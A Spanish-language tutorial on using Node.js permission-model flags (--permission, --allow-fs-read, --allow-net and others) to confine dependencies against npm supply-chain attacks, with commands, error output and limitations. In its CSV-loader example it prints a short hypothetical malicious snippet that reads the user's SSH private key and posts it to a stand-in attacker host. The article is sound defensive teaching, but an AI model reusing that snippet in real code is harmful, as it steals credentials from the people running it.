Inicio / Artículos / Aislamiento de node_modules con las banderas del modelo de permisos de Node.js

Aislamiento de node_modules con las banderas del modelo de permisos de Node.js

Aprenda cómo la bandera --permission de Node.js deniega por defecto el acceso al sistema de archivos, a la red y a los procesos, cómo otorgarlo con precisión y cuáles son sus limitaciones.

2794 palabras

Cada npm install representa un acto de confianza. Un proyecto con diez dependencias directas suele terminar con entre 500 y 1,500 paquetes en node_modules, y casi ninguno de ellos ha sido utilizado por nadie en su equipo. El modelo de permisos de Node.js permite iniciar el proceso en un modo de denegación por defecto, de modo que un paquete comprometido solo pueda acceder a los archivos, sockets y procesos que usted haya permitido explícitamente. Esta guía explica cómo funcionan las verificaciones, cómo activarlas sin dañar su aplicación y qué brechas persisten incluso cuando todo está configurado correctamente.

Por qué la confianza ambiental es el verdadero problema

Por defecto, Node.js no hace distinción entre el código escrito por tu equipo y el código que un desconocido publica en el registro. Cualquier elemento cargado en el proceso hereda todos los privilegios del usuario del sistema operativo que lo ejecuta. En la práctica, eso significa que cualquier dependencia puede:

  • leer todo lo que ese usuario pueda leer, incluidos los archivos .env, las claves privadas SSH y las credenciales en la nube como ~/.aws/credentials;
  • establecer conexiones salientes y enviar esos datos a otro lugar;
  • iniciar procesos hijos y ejecutar comandos de shell;
  • cargar complementos nativos .node, que son código máquina compilado al que las reglas a nivel de JavaScript no pueden restringir.

Incidentes reales han explotado exactamente esto. El paquete event-stream secuestrado contenía un payload dirigido a una biblioteca de billeteras Bitcoin; ua-parser-js fue tomado por control y vuelto a publicar con malware, y varios gusanos que roban tokens se han propagado a través de npm. Ninguno de ellos necesitaba un exploit sofisticado; solo requerían ejecutarse dentro de un proceso que confiara plenamente en ellos. Una cuenta de mantenedor comprometida tres niveles más abajo es suficiente. Si desea conocer con mayor detalle cómo se desarrollan estos ataques y las defensas del registro contra ellos, consulte cómo funcionan los ataques a la cadena de suministro de npm.

El Modelo de Permisos aborda la parte relacionada con el tiempo de ejecución del problema. Se trata de un entorno aislado a nivel de proceso, opcional, que invierte la configuración por defecto: no se permite nada hasta que usted lo autorice.

Qué es el modelo de permisos y su estado actual

Esta función restringe el acceso a recursos específicos mientras un programa está en ejecución. Una vez que se activa la bandera correspondiente, el proceso pierde acceso al sistema de archivos, a la red, a los procesos hijos, a los hilos de trabajo, a los complementos nativos, a WASI y a FFI, y solo recupera cada una de estas capacidades mediante una bandera de permiso explícita. La documentación oficial de permisos de Node.js sirve como referencia para conocer el comportamiento exacto en su versión.

Esta función ha madurado rápidamente:

  • Se introdujo por primera vez como una función experimental en Node.js v20.0.0 en abril de 2023.
  • A partir de v23.5.0 y v22.13.0, está marcada como Stability 2 (Estable), por lo que ya no se trata de una función experimental que deba ocultarse tras un interruptor de características.
  • Las versiones posteriores lo han ido reforzando aún más. Según un resumen de los cambios de 2026, las versiones recientes exigen permiso explícito para las API del sistema de archivos relacionadas con enlaces simbólicos, verifican los permisos al establecer sockets de dominio Unix y añaden un control más detallado sobre las variables de entorno a través de --allow-env. Considérelos como características dependientes de la versión y confírmelos según la documentación de la versión que esté utilizando.
  • La consecuencia práctica es que ahora puede confiar en ello como una verdadera capa de defensa contra compromisos en la cadena de suministro, y no solo como algo curioso.

    El modelo mental: un firewall alrededor de su propio proceso

    Un firewall de red decide qué paquetes pueden pasar. El Modelo de Permisos hace lo mismo para el acceso a recursos dentro de un proceso. Sin él, fs.readFileSync() simplemente lee el archivo. Con él, la llamada pasa primero por un punto de control que verifica si ese recurso específico está en la lista de permisos. Si lo está, nada cambia. Si no lo está, la llamada lanza un error y el archivo nunca se abre.

    El detalle importante es dónde se encuentra ese punto de control. Se aplica dentro del entorno de ejecución, en la capa de vinculación de C++, no en JavaScript. Un paquete malicioso no puede superarlo sobrescribiendo fs.readFileSync o envolviendo el módulo, porque la decisión se toma por debajo del nivel al que puede acceder el JavaScript ordinario.

    Siguiendo una llamada denegada a través del entorno de ejecución

    Para hacer esto menos abstracto, trace lo que sucede cuando algún código dentro del proceso intenta leer /etc/passwd:

    1. Su código, o cualquier módulo cargado en el mismo proceso, llama a fs.readFileSync('/etc/passwd').
    2. La llamada llega al enlace interno fs de Node, la capa que realmente se comunica con el sistema operativo.
    3. Antes de que ocurra cualquier operación de E/S, el enlace pregunta al Modelo de Permisos si el proceso posee fs.read para esa ruta específica. Esta es la misma pregunta que puede hacerse mediante process.permission.has('fs.read', path).
    4. Cuando la ruta está permitida, la lectura se realiza como siempre lo haría. Un código bien escrito no observa ninguna diferencia en su comportamiento.
    5. Cuando no está permitida, Node lanza un error cuya estructura es consistente y fácil de inspeccionar.

    El error lanzado contiene un code, el nombre del permiso que faltaba y el recurso solicitado:

    Error: Access to this API has been restricted
        at node:internal/main/run_main_module:23:47 {
      code: 'ERR_ACCESS_DENIED',
      permission: 'FileSystemRead',
      resource: '/etc/passwd'
    }
    

    Dado que ERR_ACCESS_DENIED es un código estable, se puede capturar y reaccionar ante él de manera deliberada; las bibliotecas conscientes de los permisos pueden hacer lo mismo en lugar de hacer que toda la aplicación se caiga.

    Habilitar el entorno aislado por primera vez

    Para activar el modelo basta con añadir una bandera antes del archivo de entrada:

    node --permission index.js
    

    Es de esperar que esto falle de inmediato, incluso con un script vacío:

    $ node --permission index.js
    Error: Access to this API has been restricted
        at node:internal/main/run_main_module:23:47 {
      code: 'ERR_ACCESS_DENIED',
      permission: 'FileSystemRead',
      resource: '/home/user/index.js'
    }
    

    Esto toma por sorpresa a muchas personas, pero es coherente: cargar index.js en sí mismo implica una lectura del sistema de archivos, y las lecturas se deniegan al igual que todo lo demás. No existe una excepción integrada para el propio código fuente, lo cual es una útil primera lección sobre cuán estricto es el modelo.

    La solución consiste en permitir las lecturas desde el directorio del proyecto:

    node --permission --allow-fs-read=. index.js
    

    El archivo de entrada ahora se carga, pero el primer require() de un paquete fallará, ya que la resolución y carga de módulos también lee desde el disco. El siguiente paso habitual es permitir explícitamente node_modules:

    node --permission --allow-fs-read=. --allow-fs-read=./node_modules index.js
    

    Estrictamente hablando, ./node_modules ya se encuentra bajo ., por lo que la segunda bandera es redundante en una estructura simple. Tenerla lista por separado cobra sentido cuando más adelante se limite la primera bandera a algo como ./src, o cuando las dependencias estén ubicadas en un directorio diferente dentro de un monorepo.

    Mientras aún estás aprendiendo qué rutas utiliza tu aplicación, puedes permitir todas las lecturas y mantener bloqueadas todas las demás funcionalidades:

    node --permission --allow-fs-read=* index.js
    

    Considere el comodín * como ruedas de apoyo. Es aceptable durante el desarrollo o para servicios en los que leer archivos no es la parte sensible, pero permite que cualquier dependencia acceda a sus secretos; por lo tanto, restríngalo antes de lanzar cualquier aplicación que maneje credenciales.

    Cada funcionalidad restringida y la bandera que la activa

    Las lecturas del sistema de archivos son solo una de las restricciones. Cada clase de recurso se asocia a su propia bandera:

    • Lecturas del sistema de archivos: --allow-fs-read=<path>.
    • Escribimientos en el sistema de archivos: --allow-fs-write=<path>.
    • Acceso a red: --allow-net.
    • Procesos hijos: --allow-child-process.
    • Hilos de trabajo: --allow-worker.
    • Complementos nativos: --allow-addons.
    • Interfaz de sistema WebAssembly: --allow-wasi.
  • Interfaz de función externa: --allow-ffi.
  • Algunos de ellos se comportan de maneras que vale la pena entender antes de usarlos:

    • Las dos banderas del sistema de archivos aceptan una ruta y pueden repetirse, por ejemplo --allow-fs-read=./data --allow-fs-read=./config.
    • --allow-net no acepta argumentos. Es un único parámetro que abarca las conexiones de red entrantes y salientes, incluyendo sockets raw, http, https, fetch y sockets de dominio Unix.
    • --allow-child-process también influye en la forma en que las restricciones se transmiten a los procesos hijos. Un proceso creado con child_process.fork() recibe automáticamente las banderas de permiso, mientras que child_process.spawn() las transmite a través de la variable de entorno NODE_OPTIONS. En ambos casos, el proceso hijo permanece dentro de la caja de arena en lugar de escapar de ella.
    • --allow-addons requiere la mayor precaución. Los complementos nativos son bibliotecas compiladas en C o C++ que se cargan con dlopen, y una vez cargadas se ejecutan fuera del motor de JavaScript sin más verificaciones de permisos. Otorgar esta bandera a código en el que no se confía plenamente le da a dicho código aproximadamente los mismos poderes que tendría si no hubiera caja de arena alguna.

    Ejemplo práctico: un cargador de CSV y una dependencia dañina

    Considere un script pequeño pero realista. Lee un archivo CSV del disco, lo analiza con el paquete de terceros csv-parse y envía los registros a una API utilizando axios, otro paquete de terceros:

    // process-csv.js
    const fs = require('fs');
    const { parse } = require('csv-parse/sync'); // third-party dependency
    const axios = require('axios');              // third-party dependency
    
    const raw = fs.readFileSync('./data/input.csv', 'utf-8');
    const records = parse(raw, { columns: true });
    
    axios
      .post('https://api.example.com/ingest', records)
      .then(() => console.log('Uploaded', records.length, 'records'));
    

    Al ejecutarlo con node process-csv.js de forma directa, funciona. Lo mismo ocurriría con un payload oculto incluido en una versión menor de csv-parse o en alguna de sus dependencias. El fragmento a continuación imita cómo podría verse tal payload: lee la clave privada SSH del usuario y la envía a un host controlado por el atacante.

    // hypothetical malicious code inside a compromised transitive dependency
    const fs = require('fs');
    const os = require('os');
    const https = require('https');
    
    const secret = fs.readFileSync(os.homedir() + '/.ssh/id_rsa', 'utf-8');
    https.request('https://attacker.example/collect', { method: 'POST' })
         .end(secret);
    

    Sin un entorno aislado, esto se ejecuta en silencio y la clave desaparece antes de que alguien se dé cuenta. Ahora ejecute el mismo script solo con las capacidades que realmente necesita, es decir, leer desde el proyecto y sus dependencias además de acceso a la red:

    node --permission \
         --allow-fs-read=. \
         --allow-fs-read=./node_modules \
         --allow-net \
         process-csv.js
    

    El trabajo real sigue teniendo éxito: el script lee ./data/input.csv, carga sus módulos y llega a la API. Sin embargo, el payload falla en cuanto toca la clave:

    Error: Access to this API has been restricted
        at ReadFileHandle.rethrow (node:internal/fs/read/context:53:9) {
      code: 'ERR_ACCESS_DENIED',
      permission: 'FileSystemRead',
      resource: '/home/user/.ssh/id_rsa'
    }
    

    os.homedir() apunta fuera tanto de . como de ./node_modules, por lo que la ruta no está en la lista de permisos, y la extracción de datos nunca llega al punto de establecer una conexión.

    Observe qué no ayudó en este caso. Dado que el script legítimo necesita --allow-net, la carga útil aún podría haber realizado solicitudes de red. Lo que salvó la clave fue el alcance de lectura restringido. La misma lógica advierte sobre un error común: si mantiene un archivo .env en la raíz del proyecto y permite lecturas desde ., todas las dependencias también podrán leer ese archivo. Guarde los datos confidenciales fuera de las rutas legibles, o introdúzcalos a través de un mecanismo que no requiera acceso al sistema de archivos por parte del proceso.

    Desactivar la creación de procesos

    Muchas cargas útiles reales omiten por completo las lecturas de archivos y simplemente inician una shell para descargar y ejecutar una segunda fase. Con --permission activo y sin --allow-child-process, el intento falla antes de que se inicie cualquier proceso:

    node:internal/child_process:388
        const err = this._handle.spawn(options);
        ^
    Error: Access to this API has been restricted
        at ChildProcess.spawn (node:internal/child_process:388:28)
        at node:internal/main/run_main_module:17:47 {
      code: 'ERR_ACCESS_DENIED',
      permission: 'ChildProcess'
    }
    

    La mayor parte del código de las aplicaciones, como la transformación de datos, las llamadas a servicios internos o la renderización de plantillas, no tiene motivo para crear procesos. Si nada en su árbol de dependencias necesita legítimamente child_process, desactivar esta opción elimina toda una categoría de ataques sin costo alguno.

    Solicitar permisos desde dentro del código

    Cuando el modelo está activo, Node expone process.permission, lo que permite al código verificar una capacidad antes de intentar usarla, en lugar de depender de una excepción lanzada. Puede verificar una capacidad de forma general o limitar la consulta a un camino específico:

    if (process.permission) {
      console.log(process.permission.has('fs.write'));                        // true / false
      console.log(process.permission.has('fs.write', '/app/uploads'));        // scoped check
      console.log(process.permission.has('fs.read'));                        // true / false
      console.log(process.permission.has('net'));                             // true / false
    }
    

    La condición if (process.permission) es importante porque el objeto solo existe cuando el proceso se inició con --permission. Para los autores de bibliotecas, esta API es especialmente valiosa: un paquete con telemetría opcional puede verificar process.permission.has('net') y desactivar silenciosamente esa función en un proceso aislado en lugar de hacer que la aplicación anfitriona deje de funcionar.

    Hacer que el entorno aislado forme parte del funcionamiento del proyecto

    Escribir manualmente una larga lista de flags conlleva riesgo de errores, y un entorno aislado que alguien olvide habilitar no protege nada. La solución más sencilla es incluir las flags en el script start de package.json:

    {
      "scripts": {
        "start": "node --permission --allow-fs-read=. --allow-fs-read=./node_modules --allow-net dist/server.js"
      }
    }
    

    Para aplicar la misma política a cada script de npm, incluidas las herramientas ejecutadas mediante npx, puedes establecer las banderas una sola vez a través de NODE_OPTIONS. Ten en cuenta que npm en sí mismo es un programa de Node.js, por lo que también opera bajo estas restricciones; esa es una de las razones por las cuales este ejemplo utiliza el amplio parámetro --allow-fs-read=*.

    export NODE_OPTIONS="--permission --allow-fs-read=* --allow-net"
    npm start
    

    Para una única invocación de npx, pasa las opciones directamente:

    # enabling it for a one-off npx execution
    npx --node-options="--permission --allow-fs-read=$(npm prefix -g)" some-cli-tool
    

    Este último patrón demuestra una vez más que nada se considera confiable de forma implícita. Para localizar y ejecutar la herramienta, Node necesita acceso de lectura al lugar donde realmente se encuentra el paquete, ya sea en la carpeta global node_modules indicada por npm prefix -g o en la caché de npx. Incluso al comando que solicitas ejecutar deliberadamente se le debe conceder acceso.

    Límites que debe conocer antes de confiar en él

    El Modelo de Permisos es una capa sólida, pero considerarlo como una solución completa es arriesgado.

    Los permisos se aplican a todo el proceso, no a paquetes individuales

    Esta es la advertencia más importante para quienes desean restringir dependencias específicas. El entorno aislado establece una separación entre el proceso de Node.js y el sistema operativo. No permite definir reglas como “left-pad no tiene acceso a red, pero axios sí”. Todos los módulos del proceso comparten el mismo conjunto de permisos, por lo que al otorgar --allow-net a su cliente HTTP, también se lo concede a todos los demás paquetes. El modelo eleva el estándar para todo el proceso; no aísla los paquetes entre sí. Si realmente necesita un aislamiento por componente, debe dividir el trabajo en procesos separados con diferentes parámetros.

    Los complementos nativos evitan todo una vez cargados

    Después de que se autorice --allow-addons y se cargue un módulo nativo, su código compilado se ejecuta sin ninguna restricción adicional. La caja de arena no tiene visibilidad sobre el código máquina.

    El código de control puede tener sus propios errores

    Las comprobaciones son código ordinario de tiempo de ejecución y pueden estar equivocadas. Una vulnerabilidad reportada en 2026, identificada como CVE-2026-58043, afectó a la lógica de coincidencia de rutas: las listas de permisos del sistema de archivos se almacenan en un árbol radicular, y las rutas que solo compartían un prefijo de carácter con una ruta permitida podían recibir acceso incorrectamente. Esto permitía lecturas o escrituras fuera del alcance previsto. Las versiones corregidas reportadas son 26.5.1, 24.18.1 y 22.23.2 para las respectivas líneas de lanzamiento; consulte las actualizaciones de seguridad de Node.js para obtener la lista oficial. La lección es no evitar esta funcionalidad, sino mantener su entorno de ejecución actualizado, ya que las configuraciones correctas en una versión vulnerable siguen dejando brechas de seguridad.

    Limita los daños, pero no impide la instalación

    El entorno aislado delimita el radio de impacto cuando se ejecuta código malicioso. No hace nada para impedir que dicho código sea instalado. Siga utilizando npm audit, instale con npm ci basándose en un archivo lockfile ya guardado en lugar de rangos de versión generales, revise las nuevas dependencias transitivas antes de actualizar y considere utilizar un servicio de escaneo de dependencias como Socket o Snyk junto con los controles del entorno de ejecución.

    Lista de verificación para su implementación

    • Comience con --permission --allow-fs-read=* durante el desarrollo para poder ver qué otras capacidades necesita su aplicación sin tener que lidiar con rutas específicas.
    • Antes del lanzamiento, reduzca los valores de --allow-fs-read y --allow-fs-write a los directorios que realmente utiliza la aplicación, como las carpetas de datos, la configuración y node_modules. Nunca permita el acceso a su directorio personal o a /.
  • Conceda las banderas de capacidad como redes, procesos hijos, trabajadores, complementos, WASI o FFI solo cuando exista una necesidad real. Cada bandera que omita cierra un camino de ataque.
  • Considere la necesidad de --allow-addons como una señal de advertencia y audite la dependencia que la requiere.
  • Mantenga los datos confidenciales fuera de cualquier directorio al que pueda acceder el proceso.
  • Codifique las banderas en su script de inicio o en NODE_OPTIONS para que nadie las olvide.
  • Manténgase con una versión actualizada y parcheada de Node.js, ya que la capa de control recibe correcciones de seguridad al igual que cualquier otra parte del entorno de ejecución.
  • Puntos clave

    Los ataques a la cadena de suministro funcionan porque Node.js confía en cada paquete del árbol con la misma medida que confía en su propio código. El Modelo de Permisos no elimina esa confianza, ya que el código sigue ejecutándose en su proceso, pero convierte un radio de impacto ilimitado en uno limitado definido por las banderas que usted elige. Su valor depende de cuán estrictas sean esas banderas: los alcances estrechos del sistema de archivos y la falta de banderas de capacidades detienen la mayoría de las cargas maliciosas, mientras que los comodines amplios y --allow-addons eliminan silenciosamente esa protección. Combinado con un entorno de ejecución parcheado y buenas prácticas en las dependencias, es uno de los controles de seguridad más económicos que puede adoptar un servicio Node.js.

    Lecturas relacionadas